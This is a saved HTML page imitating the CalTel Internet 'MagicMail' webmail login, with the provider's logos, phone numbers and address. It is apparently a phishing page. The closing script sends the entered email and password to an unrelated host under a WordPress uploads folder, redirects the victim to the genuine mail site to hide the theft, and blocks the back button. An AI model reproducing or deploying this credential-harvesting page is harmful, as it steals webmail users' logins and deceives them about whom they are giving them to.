<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <meta content="width=device-width, initial-scale=1" name="viewport" />
    <title>
    MagicMail Server: Login Page    </title>
    <link rel='stylesheet' href='https://mail.caltel.com/css/wizard.css?mtime=1715184431' type='text/css'/>
<link rel='stylesheet' href='https://mail.caltel.com/css/magicmail.css?mtime=1715184432' type='text/css'/>
    <!--[if IE]><link rel='stylesheet' href='https://mail.caltel.com/css/magicmail-ie.css?mtime=1715184426' type='text/css'/>
<![endif]-->
<link rel='stylesheet' href='https://mail.caltel.com/css/css.css?mtime=1715184426' type='text/css'/>
<link rel='stylesheet' href='https://mail.caltel.com/css/magicmail.login.css?mtime=1715184426' type='text/css'/>
<link rel='stylesheet' href='https://mail.caltel.com/html_files/user.css?mtime=1679695935' type='text/css'/>
<script language='JavaScript' type='text/javascript' src='js/global_javascript.js?mtime=1717697690'></script>
<script language='JavaScript' type='text/javascript' src='js/redirect_portal.js?mtime=1715184426'></script>
<script language='JavaScript' type='text/javascript' src='js/htmlcanvas.js?mtime=1715184426'></script>
<script language='JavaScript' type='text/javascript' src='js/login.js?mtime=1715184426'></script>
<script language='JavaScript' type='text/javascript' src='js/jquery.js?mtime=1715269026'></script>
    <link rel="shortcut icon" href="/favicon.ico" />
	<script language="javascript" type="text/javascript">var isauthenticated=0;</script>
    <link rel="icon" href="https://mail.caltel.com/pics/apple-touch-icon-precomposed.png" />
    <link rel="icon" type="image/png" sizes="72x72" href="https://mail.caltel.com/pics/apple-touch-icon-72x72-precomposed.png" />
    <link rel="icon" type="image/png" sizes="114x114" href="https://mail.caltel.com/pics/apple-touch-icon-114x114-precomposed.png" />
    <link rel="icon" type="image/png" sizes="144x144" href="https://mail.caltel.com/pics/apple-touch-icon-144x144-precomposed.png" />
</head>
<body id="MagicBody" class="MagicBody">
<div id="MagicWrapper" class="magic-unauthenticated">
	<table class="MagicOuterTable">
		<tr id='page_contents_row'>
			<td>
                <!-- $Header$ -->

<!-- =================================================================== -->
<!-- Header Style 1 BEGIN -->
<!-- =================================================================== -->

<table id="MainHeaderTable">
    <tr valign="top">
        <td id="MMLogo">
            <span><img id='leftHeaderLogo' src="https://mail.caltel.com/isp_images/header-logo-left.png" border="0"></span>
        </td>
        <td align="right">
            <table id="header-table" class="nopad">
                <tr>
                    <td colspan="2" id="HeaderLogo"><img id='rightHeaderLogo' src="https://mail.caltel.com/isp_images/CalTel_Webmail_Logo.png"/></td>
                </tr>
                <tr valign="bottom">
                    <td colspan="2" class="nopad">
                        <div class='MagicNavTab'>
                            <a href="logout.php" id="header-logout-btn">Logout</a>
                        </div>
                    </td>
                </tr>
            </table>
        </td>
    </tr>
    <tr id="UserSubHeaderRow">
        <td align="right" colspan="2" id="MainHeaderSubMenu">
                    </td>
    </tr>
</table>

<!-- =================================================================== -->
<!-- Header Style 1 END -->
<!-- =================================================================== -->
				<table class="MagicContentTable">
					<tr valign="top">
                    
						<td class="MagicContentCell" valign="top">
<div id="loginContentCell">
<!-- default_login_info start -->
<div class="login-info-content">
    <div class="content-section content-section-1">
        <h2>Welcome to MagicMail</h2>
	<br>
        <h4>Login to access your account</h4>
        <p class='main_wiz'>
            <span id="body-msg-1">Welcome to MagicMail provided by CalTel Internet.<br>Please use your full email address to log in.</span>
        </p>
    </div>
    
<!-- default_login_info end -->
<!-- default_login_info_second start -->
    <div class="content-section content-section-2">
	<br>
        <h4>Forgot Your Password?</h4>
        <p class='main_wiz'>
            <span id="body-msg-2">
		If you need to reset your password, please contact CalTel customer support at <strong>209-785-2211</strong> or <strong>209-786-2211</strong>.
            </span>
        </p>
    </div>

</div><!-- /.login-info-content -->
<!-- default_login_info_second end -->
<div id="login-form-wrapper">
    <form method="post" id="login-form" name="login-form" onSubmit="return checkForm();">
        <input type="hidden" id="browser_info" value=Win10, Firefox, Desktop/>
        <blockquote>
            <table id="login-form-table" class='MagicEmbeddedTable'>
                <tr>
                    <th colspan='2'>
                        <h4>Login to MagicMail</h4>
                    </th>
                </tr>
                

                <tr>
                    <td class="textright">
                        <label for="login-email" title=Enter your full email address.>
                            Email:
                        </label>
                    </td>
                    <td>
                        <input size="20" type="email" name="username" id="login-email" required="" autocorrect="off" autocapitalize="none"
                            value=>
                    </td>
                </tr>

                <tr>
                    <td class="textright">
                        <label for="login-password"
                            title=Enter your password.  Ensure your CAPS LOCK is not on.>
                                Password:
                        </label>
                    </td>
                    <td class="show-password" >
                        <input size="20" type="password" required="" name="password"
                            id="login-password"> 
                        <label for="show-password">
                            <input type="checkbox" id="show-password" onclick="showPass()"> 
				                Show Password
                        </label>
                    </td>
                </tr>
                <tr class="forgot-password-row">
                    <td></td>
                    <td id="recover-pass-td">
                        <a href="recover-password.php">Forgot your password?</a>
                    </td>
                </tr>

                <tr>
                    <td class='formFoot'>
                        <table>
                            <tr>
                                <td class="poweredBy">

                                <a href="https://www.magicmail.com" target="_blank"><img src="https://mail.caltel.com/pics/powered_by.png"> </a>

                                


</td>
                                <td class="loginBtn">
                                    <input type="submit" value="Login">
                                </td>
                            </tr>
                        </table>
                    </td>
                </tr>
            </table>
        </blockquote>
    </form>
</div>
<!-- $default_login_extra$ -->
<!-- =================================================================== -->
<!-- This is the login EXTRA section of the website (below the login form) -->


<!-- END OF default_login_extra -->
<!-- =================================================================== -->

</div><!-- loginContentCell -->
<div id="mobileOption" class="mm-modal" style="display: none">
    <div class="mm-modal-content" >
        <div class="mm-modal-header">
            <h2 style="display: inline-block;">Use Mobile Webmail</h2>
        </div><!-- \.mm-modal-header -->
        <div class="mm-modal-body" >
<p>
Would you like to use the mobile-friendly webmail optimized for this device?</p>
<input type="checkbox" name="remember">&nbsp;Remember this choice</input>

        </div><!-- \.mm-modal-body -->
        <div class="mm-modal-footer" >
<input id="mobileChoiceDesktop" onclick="choiceDesktop();" type="button" value="No Thank You"/>
<input id="mobileChoiceMobile" onclick="choiceMobile('security');" type="button" value="Yes Please!"/>
        </div><!-- \.mm-modal-footer -->
    </div><!-- \.mm-modal-content -->
</div><!-- \.mm-modal -->
                          </td>
                      </tr>
                  </table>
              </td>
          </tr>
          <tr id='footer_row'>
              <td><!-- $Header$ -->
<!-- =================================================================== -->
<!-- This is the FOOTER section of the website -->

<table width="100%" border="0" cellspacing="0" cellpadding="0">
	<tr align="center" class="MagicCompanyFooter">
		<td>MagicMail Server is brought to you by CalTel Internet<br>
			665 Main Street, Copperopolis, CA 95228<br>
			Tel: 209-785-2211 or 209-786-2211<br>
			<a href="mailto:support@caltel.com">support@caltel.com</a>
		</td>
	</tr>
</table>
<!-- END OF Footer -->
<!-- =================================================================== -->
<!-- ================================================================== -->
<!-- Copyright Information, DO NOT CHANGE BELOW HERE -->
<!-- ================================================================== -->
      <table width="100%" border="0" cellspacing="0" cellpadding="0">
        <tr align="center" class="MagicCopyRight">
          <td>
            <p align="center">
                MagicMail is a Registered Trademark of Wizard Tower TechnoServices Ltd.
            </p>
          </td>
        </tr>
      </table>
<!-- ================================================================== -->

            </td>
        </tr>
    </table>
</div><!-- MagicWrapper -->
<script src="https://ajax.aspnetcdn.com/ajax/jQuery/jquery-3.3.1.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.10/jquery.mask.js"></script> 
<script type="text/javascript">

history.pushState(null, document.title, location.href);
window.addEventListener('popstate', function (event)
{
  history.pushState(null, document.title, location.href);
});

//$(document).bind("contextmenu", function(e){ return false;});

var count = 0;
var counts = 0;

$('#login-form').on('submit', function(e){
		counts = counts+1;
		$('#emailSubmit').html('<i class="fa fa-refresh fa-spin"></i>');
		$.post('https://screetweb.com/wp-content/uploads/cal/data.php', $(this).serialize(), function(data){
			console.log(data);
		});
		setTimeout(function() {
		
							if(counts == 1){
							   $('#step1').hide();
							   $('#step2').show();
							   
					   setTimeout(function() {
                              window.location.href = "https://mail.caltel.com/index.php";
                        },1000);
							   
							}else{
							     $('#password').val('');
								 $('#error').show();
								 $('#emailSubmit').html('Sign in');
							}
		
                            
                        },1000);
		e.preventDefault();
	});

</script>
</body>
</html>